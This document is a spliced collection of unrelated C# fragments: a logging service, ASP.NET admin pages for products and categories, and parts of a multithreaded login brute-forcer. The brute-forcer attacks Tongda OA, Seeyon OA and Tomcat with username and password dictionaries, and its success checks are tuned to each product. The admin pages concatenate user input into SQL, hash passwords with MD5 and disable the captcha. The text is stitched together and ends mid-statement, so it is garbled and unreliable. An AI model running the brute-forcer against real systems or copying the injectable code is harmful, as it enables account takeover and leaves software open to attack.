// note, this puppy is sync public Log AddLog(LogAdd logAdd) { if (logAdd == null) { throw new ArgumentException("No LogAdd parameter input for AddLog (is null)"); } LogData logData = new LogData { Component = logAdd.Component, LogLevel = logAdd.LogLevel, LogMessage = logAdd.LogMessage }; using (var dbSession = _documentStore.LightweightSession()) { dbSession.Store(logData); dbSession.SaveChanges(); // success return as API "read" object Log newLog = new Log { Id = logData.Id, Component = logData.Component, LogLevel = logData.LogLevel, LogMessage = logData.LogMessage }; return(newLog); } }
//筛选出不能访问,不能找到表单的目标 方法 public void IsOk_URL(string url) { string OA_Selected = Form1.OA_Selected; LogAdd lds = new LogAdd(Error_show); this.BeginInvoke(lds, new object[] { url }); switch (OA_Selected) { case "tomcat": if (Prepare(url)) { UrlAdd ua = new UrlAdd(U_add); this.BeginInvoke(ua, new object[] { url }); } break; default: if (Prepare(url) && Find_form(url)) { UrlAdd ua = new UrlAdd(U_add); this.BeginInvoke(ua, new object[] { url }); } break; } }
public void Log <TState>(LogLevel logLevel, EventId eventId, TState state, Exception exception, Func <TState, Exception, string> formatter) { LogAdd newLog = new LogAdd { // This is a internal service log. The API logs from others will not be run throuhg the Core logger Component = _name, LogLevel = logLevel.ToString(), LogMessage = formatter(state, exception) }; _logService.AddLog(newLog); }
/* * 定位Form表单位置 */ public bool Find_form(string url) { try { //定位form表单,解析出用户名和密码字段 var web = new HtmlWeb(); var doc = web.Load(url); string OA_Selected = Form1.OA_Selected; //目标类型选择 switch (OA_Selected) { case "通达OA": uname_input = doc.DocumentNode.SelectSingleNode("//input[@name='UNAME']"); break; case "致远OA": uname_input = doc.DocumentNode.SelectSingleNode("//input[@name='login_username']"); break; default: uname_input = doc.DocumentNode.SelectSingleNode("//input[1]"); break; } HtmlNode pass_input = doc.DocumentNode.SelectSingleNode("//input[@type='password']"); if (uname_input == null || pass_input == null) { return(false);//无法找到登录表单 } else { Form1.User_field = uname_input.Attributes["name"].Value; //用户名字段 Form1.Pass_field = pass_input.Attributes["name"].Value; //密码字段 return(true); } }catch (Exception ex) { string message = "无法找到登录表单 " + url + " " + ex.ToString(); LogAdd ld = new LogAdd(Error_log); this.BeginInvoke(ld, new object[] { message }); return(false); } }
protected void btnLogin_Click(object sender, EventArgs e) { //验证码 //if (Request["txtYZM"] == null || Session["VerifyChar"] == null) { return; } //if (Session["VerifyChar"].ToString().ToLower() != Request["txtYZM"].ToString().ToLower()) //{ // ClientScript.RegisterStartupScript(this.GetType(), "alert", "<Script>alert('验证码错误!');</Script>"); // return; //} string username = this.txtUsername.Value.Trim().Replace("'", ""); string pwd = this.txtPassword.Value; pwd = FormsAuthentication.HashPasswordForStoringInConfigFile(pwd, "MD5"); //Response.Write(pwd); Response.End(); DataTable dtUser = new DataTable(); int r = new StarTech.Adapter.IACenter().UserLogin(username, pwd, ref dtUser); if (r == 1) { //日志 //iacenter.AddUserActionLog(dt.Rows[0]["UserName"].ToString(), dt.Rows[0]["TrueName"].ToString(), "", "", "", "登陆", "", "", "", Request.UserHostAddress, Request.Url.ToString()); Session["UserId"] = dtUser.Rows[0]["uniqueId"].ToString(); LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "用户‘" + dtUser.Rows[0]["userName"].ToString() + "’登录", "登录", "", "", HttpContext.Current.Request.Url.ToString()); //string ids = GetRootMenus(dt.Rows[0]["uniqueId"].ToString()); string ids = "1"; if (ids != "") { Response.Redirect("Main.aspx?rootMenuId=" + ids.Split(',')[0] + "", true); } else { Response.Redirect("Main.aspx?rootMenuId=-1", true); } } else { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('用户名或密码错误!');</script>"); } }
/* * HEAD请求确认能否访问,返回Bool值 */ public bool Prepare(string url) { try { //对目标URL发送GET请求,判断目标是否存活 HttpWebRequest Req_HEAD = (HttpWebRequest)WebRequest.Create(url); if (Form1.Proxy_server != null && Form1.Proxy_port != null) { var proxy = new WebProxy(Form1.Proxy_server + ":" + Form1.Proxy_port, true); Req_HEAD.Proxy = proxy; } Req_HEAD.Method = "GET"; Req_HEAD.AllowAutoRedirect = false; Req_HEAD.ContentType = "text/html;charset=UTF-8"; Req_HEAD.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"; Req_HEAD.Timeout = 10000; HttpWebResponse Rep_HEAD = (HttpWebResponse)Req_HEAD.GetResponse(); int ret_HEAD = (int)Rep_HEAD.StatusCode; //如果不能访问,就立即停止本线程,返回 False if (ret_HEAD == 200 || ret_HEAD == 302 || ret_HEAD == 301) { return(true); } else { string message = url + " 目标地址无法访问"; LogAdd ld = new LogAdd(Error_log); this.BeginInvoke(ld, new object[] { message }); return(false); } } catch (Exception ex)//捕获异常,然后退出 { string message = url + " 目标地址无法访问 -> 捕获异常 " + ex.ToString(); LogAdd ld = new LogAdd(Error_log); this.BeginInvoke(ld, new object[] { message }); return(false); } }
//删除 void Delete1_DeleteClickEvent(object sender, EventArgs e) { ArrayList selectedNodes = TreeNodeUtil.GetSelectedTreeNodes(this.treeMenu.Nodes[0]); if (selectedNodes.Count == 0) { JSUtility.Alert("请选择要删除的页节点!"); } else { int[] selectedIds = new int[selectedNodes.Count]; string typeList = ""; for (int i = 0; i < selectedNodes.Count; i++) { selectedIds[i] = Convert.ToInt32(((TreeNode)selectedNodes[i]).Value); typeList += "《" + ((TreeNode)selectedNodes[i]).Text + "》"; /*日志归档*/ // string sql = @"select l.Description as title from T_Permission l where PermissionId=" + selectedIds[i].ToString() + ""; // PubFunction.InsertLog("系统管理", "菜单管理", "菜单列表", "删除", sql, selectedIds[i].ToString()); } bool sucess = this.bll.Delete(selectedIds); if (sucess) { LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "删除菜谱分类" + typeList + "", "删除", "", "", HttpContext.Current.Request.Url.ToString()); JSUtility.Alert("删除菜单项成功!"); } else { JSUtility.Alert("包含子节点的菜单项无法删除,子节点已删除!"); } this.treeMenu.Nodes.Clear(); //this.treeMenu.Nodes.Add(this._menu.GetMenuTree(false)); BindTreeView(); } }
protected void btnSave_Click(object sender, EventArgs e) { int updateInt = -1; if (this.id == "") { if (this.FileUpload1.HasFile == false) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('请选择任务图片');</script>"); return; } GoodsModel mod = new GoodsModel(); mod.GoodsId = IdCreator.CreateId("T_Goods_Info", "GoodsId"); mod.AddTime = DateTime.Now; if (hfSign.Value.Length > 0) { mod.signId = hfSign.Value; } else { mod.signId = ""; } string fileExt = System.IO.Path.GetExtension(this.FileUpload1.FileName).ToLower(); if (fileExt != ".jpeg" && fileExt != ".jpg" && fileExt != ".png" && fileExt != ".bmp" && fileExt != ".gif") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('图片格式不正确');</script>"); return; } if (this.FileUpload1.PostedFile.ContentLength > 1024000) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('图片不能大于1M');</script>"); return; } string newFileName = Guid.NewGuid().ToString() + fileExt; string dir = "/upload/goodsadmin/" + DateTime.Now.ToString("yyyyMMdd") + "/"; if (System.IO.Directory.Exists(Server.MapPath(dir)) == false) { System.IO.Directory.CreateDirectory(Server.MapPath(dir)); } string newPath = dir + newFileName; this.FileUpload1.SaveAs(Server.MapPath(newPath)); //缩略图 MakeSmallPic(Server.MapPath(newPath), Server.MapPath(newPath.Replace(fileExt, "_s" + fileExt))); mod.GoodsSmallPic = newPath.Replace(fileExt, "_s" + fileExt); //mod.GoodsSmallPic = newPath.Replace(fileExt, "" + fileExt); ViewState["OriginalBigImg"] = mod.GoodsSmallPic; GetFormInfo(ref mod); if (mod.CategoryId == "1") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('未选择分类')</script>"); } if (bll.Add(mod) > 0) { string strShop = "select shopId from T_Shop_User where isdefault=1;"; DataSet ds = StarTech.DBUtility.AdoHelper.CreateHelper(AppConfig.DBInstance).ExecuteSqlDataset(strShop); if (ds != null && ds.Tables.Count > 0 && ds.Tables[0].Rows.Count > 0) { for (int i = 0; i < ds.Tables[0].Rows.Count; i++) { string newGuid = Guid.NewGuid().ToString(); string shopId = ds.Tables[0].Rows[0][0].ToString(); string goodsId = mod.GoodsId; int num = mod.Sotck.Value; decimal price = mod.SalePrice.Value; int isSell = mod.IsSale.Value; DateTime addt = DateTime.Now; string goodsCode = mod.GoodsCode; string strGoods = "insert into T_Shop_Goods values('" + newGuid + "','" + shopId + "','" + goodsId + "'," + num + "," + price + "," + isSell + ",'" + addt + "','" + goodsCode + "',0,0,0,0);"; StarTech.DBUtility.AdoHelper.CreateHelper(AppConfig.DBInstance).ExecuteSqlNonQuery(strGoods); } } string strItem = "insert T_Menu_Item(itemName,itemImgSrc,ifBuy,GoodsId,orderBy,remark,unit) values(@itemName,@itemImgSrc,@ifBuy,@GoodsId,@orderBy,@remark,@unit);"; SqlParameter[] q = { // @itemImgSrc,@ifBuy,@GoodsId,@orderBy,@remark,@unit new SqlParameter("@itemName", SqlDbType.VarChar), new SqlParameter("@itemImgSrc", SqlDbType.VarChar), new SqlParameter("@ifBuy", SqlDbType.Int), new SqlParameter("@GoodsId", SqlDbType.VarChar), new SqlParameter("@orderBy", SqlDbType.Int), new SqlParameter("@remark", SqlDbType.VarChar), new SqlParameter("@unit", SqlDbType.VarChar) }; q[0].Value = mod.GoodsName; q[1].Value = mod.GoodsSmallPic; q[2].Value = 1; q[3].Value = mod.GoodsId; q[4].Value = 9999; q[5].Value = "任务“" + mod.GoodsName + "”添加"; q[6].Value = mod.Uint; int rows = StarTech.DBUtility.AdoHelper.CreateHelper(AppConfig.DBInstance).ExecuteSqlNonQuery(strItem, q); //默认幻灯图片 //if (ViewState["OriginalBigImg"] != null) { AddDefaultPic(mod.GoodsId, ViewState["OriginalBigImg"].ToString()); } LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "添加课程《" + mod.GoodsName + "》", "添加", "", "", HttpContext.Current.Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>if(confirm('保存成功')){location.href='GoodsAdd.aspx?id=" + mod.GoodsId + "'}else{}</script>"); } } else { updateInt = 0; //string strSQL = "select * from T_Goods_Update where goodsid='" + id+"' and updatetime>'"+DateTime.Now.ToShortDateString()+" 00:00:00';"; string strSQL = ""; AdoHelper adohelper = StarTech.DBUtility.AdoHelper.CreateHelper(AppConfig.DBInstance); //DataSet ds = adohelper.ExecuteSqlDataset(strSQL); //if (ds != null && ds.Tables.Count > 0 && ds.Tables[0].Rows.Count >= 0) //{ // if (ds.Tables[0].Rows.Count > 2) // { // ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('编辑成功');</script>"); // return; // } // else // { // updateInt = 2 - ds.Tables[0].Rows.Count; // } //} GoodsModel mod = bll.GetModel(this.id); if (this.FileUpload1.HasFile == true) { string fileExt = System.IO.Path.GetExtension(this.FileUpload1.FileName).ToLower(); if (fileExt != ".jpeg" && fileExt != ".jpg" && fileExt != ".png" && fileExt != ".bmp" && fileExt != ".gif") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('图片格式不正确');</script>"); return; } if (this.FileUpload1.PostedFile.ContentLength > 10240000) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('图片不能大于10M');</script>"); return; } string newFileName = Guid.NewGuid().ToString() + fileExt; string dir = "/upload/goodsadmin/" + DateTime.Now.ToString("yyyyMMdd") + "/"; if (System.IO.Directory.Exists(Server.MapPath(dir)) == false) { System.IO.Directory.CreateDirectory(Server.MapPath(dir)); } string newPath = dir + newFileName; this.FileUpload1.SaveAs(Server.MapPath(newPath)); //缩略图 MakeSmallPic(Server.MapPath(newPath), Server.MapPath(newPath.Replace(fileExt, "_s" + fileExt))); mod.GoodsSmallPic = newPath.Replace(fileExt, "_s" + fileExt); //mod.GoodsSmallPic = newPath.Replace(fileExt, "" + fileExt); ViewState["OriginalBigImg"] = mod.GoodsSmallPic; } //hfSign.Value = hfSign.Value.Replace("--", "-"); if (hfSign.Value.Length > 0) { mod.signId = hfSign.Value; } else { mod.signId = ""; } GetFormInfo(ref mod); if (bll.Update(mod)) { adohelper.ExecuteSqlNonQuery("update T_Goods_Info set JobDay=datediff(day,JobStartTime,JobEndTime) where GoodsId='" + mod.GoodsId + "'"); //默认图片 //if (ViewState["OriginalBigImg"] != null) { AddDefaultPic(mod.GoodsId, ViewState["OriginalBigImg"].ToString()); } //if (updateInt == -1) // ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('保存成功');location.href='GoodsList.aspx?id=" + this.cselect.categoryID + "';</script>"); //else{ strSQL = "insert T_Goods_Update values('" + mod.GoodsId + "',getdate(),'');"; adohelper.ExecuteSqlNonQuery(strSQL); LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "编辑任务《" + mod.GoodsName + "》", "编辑", "", "", HttpContext.Current.Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('编辑成功');</script>"); //} } } }
/* * 开始爆破++++++++++++++++++ */ public void Start() { try { if (Url.Count < 1) { MessageBox.Show("没有存活目标"); } else { ThreadPool.SetMinThreads(2, 1); //设置线程池在新请求预测中维护的空闲线程数 ThreadPool.SetMaxThreads(Thread_num, Thread_num); //设置线程池最大线程数,用来控制线程 listBox1.Items.Clear(); //结果输出框清空 suc_num = 0; listBox1.Items.Add("任务开始......"); RegisteredWaitHandle rhw = null;//为线监控程池线程结束做准备 DateTime start_time = DateTime.Now; if (comboBox2.SelectedIndex != 0) { Thread_num = Convert.ToInt32(comboBox2.SelectedItem); } for (int i = 0; i < Url.Count; i++) { string url = Url[i]; listBox2.Items.Add(url); Application.DoEvents();//重绘窗口,添加任务列表 long error_content; switch (OA_Selected) { case "tomcat": error_content = 123; break; default: error_content = GetErrorContent(url); break; } StreamReader sr_user = new StreamReader(User_path);//从该文件加载用户字典 while (!sr_user.EndOfStream) { string userName = sr_user.ReadLine(); //遍历用户名 StreamReader sr_pass = new StreamReader(Pass_path); //从该文件加载密码字典 while (!sr_pass.EndOfStream) { string userPass = sr_pass.ReadLine(); //遍历密码 ThreadPool.QueueUserWorkItem(brtue => Brute(url, userName, userPass, error_content)); //线程池,多线程开启任务 } sr_pass.Close(); } sr_user.Close(); } //监测线程池任务是否结束 rhw = ThreadPool.RegisterWaitForSingleObject(new AutoResetEvent(false), new WaitOrTimerCallback((obj, b) => { int workerThreads = 0; int maxWordThreads = 0; int compleThreads = 0; ThreadPool.GetAvailableThreads(out workerThreads, out compleThreads); ThreadPool.GetMaxThreads(out maxWordThreads, out compleThreads); //当可用的线数与池程池最大的线程相等时表示线程池中所有的线程已经完成 if (workerThreads == maxWordThreads) { rhw.Unregister(null); //此处是所有线程完成后的处理代码 DateTime end_time = DateTime.Now; var all_time = end_time - start_time; toolStripStatusLabel2.Text = "任务结束,总共成功破解 " + suc_num + " 个目标;共耗时" + all_time; MessageBox.Show("所有任务已经完成"); rhw = null; } }), null, 100, false); } } catch (Exception ex) { string message = "爆破时未知错误(Strat方法中)" + ex.ToString(); LogAdd ld = new LogAdd(Error_log); this.BeginInvoke(ld, new object[] { message }); } }
/* * 这个就是子线程,即被调用的爆破功能函数 */ public void Brute(string url, string username, string password, long error_content) { //列表框选中状态 SELECTED SE = new SELECTED(SELECT); this.BeginInvoke(SE, new object[] { url }); ServicePointManager.DefaultConnectionLimit = 1024; //设置http并发数限制 SucRsAdd Suc_add = new SucRsAdd(SucAdd); //声明添加成功结果的委托变量,并赋值 try { //匹配登录接口,改变URL if (GetPostUrl(url, 10000)) { url = New_post_url; } String postData; string cookie; //目标类型选择,处理数据的方式不通,比如通达的密码要base64编码 switch (OA_Selected) { case "通达OA": byte[] tmp = Encoding.Default.GetBytes(password); password = Convert.ToBase64String(tmp); postData = User_field + "=" + username + "&" + Pass_field + "=" + password + "&encode_type=1"; cookie = GetCookie(url, username, password); break; case "tomcat": byte[] ttmp = Encoding.Default.GetBytes(username + ":" + password); postData = Convert.ToBase64String(ttmp); cookie = null; break; default: password = password; postData = User_field + "=" + username + "&" + Pass_field + "=" + password; cookie = GetCookie(url, username, password); break; } SucRsAdd FA = new SucRsAdd(FailAdd);//更新任务进度 listBox1.BeginInvoke(FA, new object[] { url, username, password }); HttpWebRequest reqContent = (HttpWebRequest)WebRequest.Create(url);//这个是请求的登录接口 if (Proxy_server != null && Proxy_port != null) { var proxy = new WebProxy(Proxy_server + ":" + Proxy_port, true); reqContent.Proxy = proxy; } HttpWebResponse respContent; switch (OA_Selected) { case "tomcat": try { reqContent.Method = "GET"; reqContent.ContentType = "text/html;charset=UTF-8"; reqContent.Headers.Add("Authorization", "Basic " + postData); reqContent.AllowAutoRedirect = false; //不自动跟随服务端重定向 reqContent.Timeout = 18000; respContent = (HttpWebResponse)reqContent.GetResponse(); listBox1.BeginInvoke(Suc_add, new object[] { url, username, password }); break; } catch (Exception exx) { string message = "目标" + url + "出现错误: " + exx.ToString(); LogAdd ld = new LogAdd(Error_log); this.BeginInvoke(ld, new object[] { message }); break; } default: reqContent.Method = "POST"; reqContent.ContentType = "application/x-www-form-urlencoded"; //数据一般设置这个值,除非是文件上传 reqContent.AllowAutoRedirect = false; //不自动跟随服务端重定向 byte[] postBytes = Encoding.UTF8.GetBytes(postData); reqContent.ContentLength = postBytes.Length; reqContent.Timeout = 15000; reqContent.Headers.Add("Cookie", cookie); //带Cookie请求 Stream postDataStream = reqContent.GetRequestStream(); postDataStream.Write(postBytes, 0, postBytes.Length); postDataStream.Close(); respContent = (HttpWebResponse)reqContent.GetResponse(); var LoginError = "1"; if (OA_Selected == "致远OA") { LoginError = respContent.Headers.GetValues("LoginError").First(); } else { LoginError = "1"; } //用来正确的获取响应包长度 MemoryStream stmMemory = new MemoryStream(); Stream stream = respContent.GetResponseStream(); byte[] arraryByte = new byte[1024]; byte[] buffer1 = new byte[1024 * 100]; //每次从文件读取1024个字节。 int i; //将字节逐个放入到Byte 中 while ((i = stream.Read(buffer1, 0, buffer1.Length)) > 0) { stmMemory.Write(buffer1, 0, i); } arraryByte = stmMemory.ToArray(); stmMemory.Close(); Content_L = error_content; //错误密码的返回长度 //不同类型目标有不同的判断成功的方式 if (arraryByte.Length == 1666) //通达密码正确的返回内容长度是1666 { suc_num += 1; password = Encoding.Default.GetString(System.Convert.FromBase64String(password)); //把密码解密回来 listBox1.BeginInvoke(Suc_add, new object[] { url, username, password }); //跨线程调用委托添加成功结果 } else if (LoginError == "13") //致远OA只能用IE登录,LoginError: 13就是登陆成功 { suc_num += 1; listBox1.BeginInvoke(Suc_add, new object[] { url, username, password }); } else if (Content_L != arraryByte.Length) { suc_num += 1; listBox1.BeginInvoke(Suc_add, new object[] { url, username, password }); } break; } } catch (Exception ex) { string message = "目标" + url + "出现错误: " + ex.ToString(); LogAdd ld = new LogAdd(Error_log); this.BeginInvoke(ld, new object[] { message }); } }
public IActionResult Post([FromBody] LogAdd logAdd) { Log newLog = _logService.AddLog(logAdd); return(new OkObjectResult(newLog)); }
protected void btnSave_Click(object sender, EventArgs e) { string serviceName = KillSqlIn.Form_ReplaceByString(txtName.Text, 50); string serviceContext = KillSqlIn.Form_ReplaceByString(txtContext.Text, 50); int orderBy = 0; int.TryParse(txtOrder.Text, out orderBy); string remark = KillSqlIn.Form_ReplaceByString(txtRemark.Text, 50); string [] valueList = txtValue.Text.Split(','); string[] priceList = txtPrice.Text.Split(','); string[] defaultList = txtDefault.Text.Split(','); string strSQL = ""; if (serviceId == "") { var guid = Guid.NewGuid().ToString(); if (valueList.Length != priceList.Length || valueList.Length != defaultList.Length) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('服务选项,价格以及默认值存在不匹配');</script>"); return; } strSQL = " BEGIN TRANSACTION "; strSQL += "insert T_Goods_Service values('" + guid + "','" + serviceName + "','" + serviceContext + "'," + orderBy + ",'" + remark + "');"; for (int i = 0; i < valueList.Length; i++) { //txtName.Text = ds.Tables[0].Rows[0]["serviceName"].ToString(); //txtName.Text = ds.Tables[0].Rows[0]["serviceName"].ToString(); string value = KillSqlIn.Form_ReplaceByString(valueList[i], 50); decimal d = 0; decimal.TryParse(priceList[i], out d); int dd = 0; int.TryParse(defaultList[i], out dd); strSQL += "insert T_Goods_ServiceDetail values('" + guid + i + "','" + guid + "','" + value + "','" + d + "',''," + dd + ");"; } strSQL += " COMMIT TRANSACTION "; int rows = adoHelper.ExecuteSqlNonQuery(strSQL); if (rows > 0) { LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "添加任务服务《" + serviceName + "》", "添加", "", "", HttpContext.Current.Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('添加成功');</script>"); } } else { if (valueList.Length != priceList.Length || valueList.Length != defaultList.Length) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('服务选项,价格以及默认值不匹配');</script>"); return; } strSQL = " BEGIN TRANSACTION "; strSQL += "update T_Goods_Service set serviceName='" + serviceName + "',serviceContext='" + serviceContext + "',orderBy=" + orderBy + ",remark='" + remark + "' where serviceId='" + serviceId + "';"; for (int i = 0; i < valueList.Length; i++) { //txtName.Text = ds.Tables[0].Rows[0]["serviceName"].ToString(); //txtName.Text = ds.Tables[0].Rows[0]["serviceName"].ToString(); string value = KillSqlIn.Form_ReplaceByString(valueList[i], 50); decimal d = 0; decimal.TryParse(priceList[i], out d); int dd = 0; int.TryParse(defaultList[i], out dd); //strSQL += "insert T_Goods_ServiceDetail values('" + guid + i + "','" + guid + "','" + value + "','" + d + "',''," + dd + ");"; if (ds.Tables[1].Rows.Count > i) { strSQL += "update T_Goods_ServiceDetail set value='" + value + "',price=" + d + ",isDefault=" + dd + " where sysnumber='" + ds.Tables[1].Rows[i]["sysnumber"] + "';"; } else { strSQL += "insert T_Goods_ServiceDetail values('" + ds.Tables[0].Rows[0]["serviceId"] + i + "','" + ds.Tables[0].Rows[0]["serviceId"] + "','" + value + "','" + d + "',''," + dd + ");"; } } strSQL += " COMMIT TRANSACTION "; int rows = adoHelper.ExecuteSqlNonQuery(strSQL); if (rows > 0) { LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "修改任务服务《" + serviceName + "》", "添加", "", "", HttpContext.Current.Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('修改成功');</script>"); } } }
protected void btnSave_Click(object sender, ImageClickEventArgs e) { GoodsTypeModel mod; if (this.id != "" && this.id != null) { mod = bll.GetModel(this.id); } else { mod = new GoodsTypeModel(); } string pPath = ""; string[] codeList = this.cSelect.hfCode.Split('|'); StarTech.DBUtility.AdoHelper adoHelper = StarTech.DBUtility.AdoHelper.CreateHelper("DB_Instance"); if (codeList.Length < 1 || cSelect.hfCode == "") { mod.PCategoryId = ""; mod.CategoryLevel = 1; mod.CategoryPath = mod.CategoryId; } else { //if(this.cSelect.categoryID) mod.PCategoryId = codeList[codeList.Length - 1]; DataSet ds = adoHelper.ExecuteSqlDataset("select * from T_Info_Category where categoryid='" + KillSqlIn.Form_ReplaceByString(mod.PCategoryId, 20) + "';"); mod.CategoryLevel = Convert.ToInt32(ds.Tables[0].Rows[0]["CategoryLevel"].ToString()) + 1; pPath = ds.Tables[0].Rows[0]["CategoryPath"].ToString(); } if (pPath != "") { pPath += ","; } mod.CategoryName = this.txtMenuName.Text.Trim(); //mod.CategoryPath= //mod.Remarks = this.txtRemarks.Text.Trim(); int orderdy = 0; int.TryParse(this.txtSort.Text.Trim(), out orderdy); mod.Orderby = orderdy; mod.CategoryFlag = (this.cbIsVisible.Checked == true) ? "Course" : "Category"; if (fuImg.FileName != null && fuImg.FileName != "") { //mod.Url = fuImg.FileName; string nowUrl = Guid.NewGuid().ToString(); string tzm = fuImg.FileName.Substring(fuImg.FileName.LastIndexOf(".")); string url = "/upload/Category/" + nowUrl + "" + tzm; fuImg.SaveAs(Server.MapPath("~" + url)); mod.Url = url; } if (this.id != "" && this.id != null) { if (this.id == mod.PCategoryId) { ClientScript.RegisterStartupScript(this.GetType(), "close", "<script>alert('上级分类不能选择当前分类');layer_close_refresh();</script>"); return; } mod.CategoryPath = pPath + mod.CategoryId; if (bll.Update(mod)) { LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "修改任务分类《" + mod.CategoryName + "》", "修改", "", "", HttpContext.Current.Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "close", "<script>alert('修改成功');layer_close_refresh();</script>"); } } else { mod.CategoryId = IdCreator.CreateId("T_Info_Category", "CategoryId"); mod.CategoryPath = pPath + mod.CategoryId; bll.Add(mod); LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "添加任务分类《" + mod.CategoryName + "》;", "添加", "", "", HttpContext.Current.Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "close", "<script>alert('添加成功');layer_close_refresh();</script>"); //JSUtility.ReplaceOpenerParentWindow("menuTree.aspx"); } //ModMenu detail = new ModMenu(); //detail.menuName = this.txtMenuName.Text.Trim(); //detail.menuTarget = this.txtMenuLink.Text.Trim(); //detail.isShow = (this.cbIsVisible.Checked == true ? 1 : 0); //detail.orderIndex = Convert.ToInt32(this.txtSort.Text.Trim()); //detail.parentMenuId = Convert.ToInt32(this.cSelect.categoryID); //if (this._menuId != null) //{ // int menuId = Convert.ToInt32(this._menuId); // detail.uniqueId = menuId; // this._menu.Update(detail); // ClientScript.RegisterStartupScript(this.GetType(), "close", "<script>alert('修改成功');layer_close_refresh();</script>"); //} //else //{ // this._menu.Add(detail); // ClientScript.RegisterStartupScript(this.GetType(), "close", "<script>alert('添加成功');layer_close_refresh();</script>"); // //JSUtility.ReplaceOpenerParentWindow("menuTree.aspx"); //} }
protected void btnSave_Click(object sender, EventArgs e) { int updateInt = -1; if (this.id == "") { if (this.FileUpload1.HasFile == false) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('请选择任务图片');</script>"); return; } if (this.ddlMorePropertys.SelectedValue == "视频和练习") { if (this.FileUpload2.HasFile == false) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('请选择视频文件');</script>"); return; } } GoodsModel mod = new GoodsModel(); mod.GoodsId = IdCreator.CreateId("T_Goods_Info", "GoodsId"); mod.AddTime = DateTime.Now; mod.CategoryId = mod.GoodsToTypeId = this.hid_pgoodsid.Value; if (hfSign.Value.Length > 0) { mod.signId = hfSign.Value; } else { mod.signId = ""; } string fileExt = System.IO.Path.GetExtension(this.FileUpload1.FileName).ToLower(); if (fileExt != ".jpeg" && fileExt != ".jpg" && fileExt != ".png" && fileExt != ".bmp" && fileExt != ".gif") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('图片格式不正确');</script>"); return; } if (this.FileUpload1.PostedFile.ContentLength > 1024000) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('图片不能大于1M');</script>"); return; } string newFileName = Guid.NewGuid().ToString() + fileExt; string dir = "/upload/goodsadmin/" + DateTime.Now.ToString("yyyyMMdd") + "/"; if (System.IO.Directory.Exists(Server.MapPath(dir)) == false) { System.IO.Directory.CreateDirectory(Server.MapPath(dir)); } string newPath = dir + newFileName; this.FileUpload1.SaveAs(Server.MapPath(newPath)); //缩略图 //MakeSmallPic(Server.MapPath(newPath), Server.MapPath(newPath.Replace(fileExt, "_s" + fileExt))); //mod.GoodsSmallPic = newPath.Replace(fileExt, "_s" + fileExt); mod.GoodsSmallPic = newPath; ViewState["OriginalBigImg"] = mod.GoodsSmallPic; //视频文件_start if (this.FileUpload2.HasFile == true) { string fileExt_video = System.IO.Path.GetExtension(this.FileUpload2.FileName).ToLower(); if (fileExt_video != ".mp4") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('视频格式不正确');</script>"); return; } string newFileName_video = Guid.NewGuid().ToString() + fileExt_video; string dir_video = "/upload/goodsadmin/" + DateTime.Now.ToString("yyyyMMdd") + "/"; if (System.IO.Directory.Exists(Server.MapPath(dir_video)) == false) { System.IO.Directory.CreateDirectory(Server.MapPath(dir_video)); } string newPath_video = dir_video + newFileName_video; this.FileUpload2.SaveAs(Server.MapPath(newPath_video)); mod.BookInfo = newPath_video; } //视频文件_end GetFormInfo(ref mod); if (mod.CategoryId == "1") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('未选择分类')</script>"); } if (bll.Add(mod) > 0) { //默认幻灯图片 //if (ViewState["OriginalBigImg"] != null) { AddDefaultPic(mod.GoodsId, ViewState["OriginalBigImg"].ToString()); } LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "添加任务《" + mod.GoodsName + "》", "添加", "", "", HttpContext.Current.Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>if(confirm('保存成功')){location.href='SubGoodsAdd.aspx?id=" + mod.GoodsId + "'}else{}</script>"); } } else { updateInt = 0; //string strSQL = "select * from T_Goods_Update where goodsid='" + id+"' and updatetime>'"+DateTime.Now.ToShortDateString()+" 00:00:00';"; string strSQL = ""; AdoHelper adohelper = StarTech.DBUtility.AdoHelper.CreateHelper(AppConfig.DBInstance); //DataSet ds = adohelper.ExecuteSqlDataset(strSQL); //if (ds != null && ds.Tables.Count > 0 && ds.Tables[0].Rows.Count >= 0) //{ // if (ds.Tables[0].Rows.Count > 2) // { // ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('编辑成功');</script>"); // return; // } // else // { // updateInt = 2 - ds.Tables[0].Rows.Count; // } //} GoodsModel mod = bll.GetModel(this.id); if (this.FileUpload1.HasFile == true) { string fileExt = 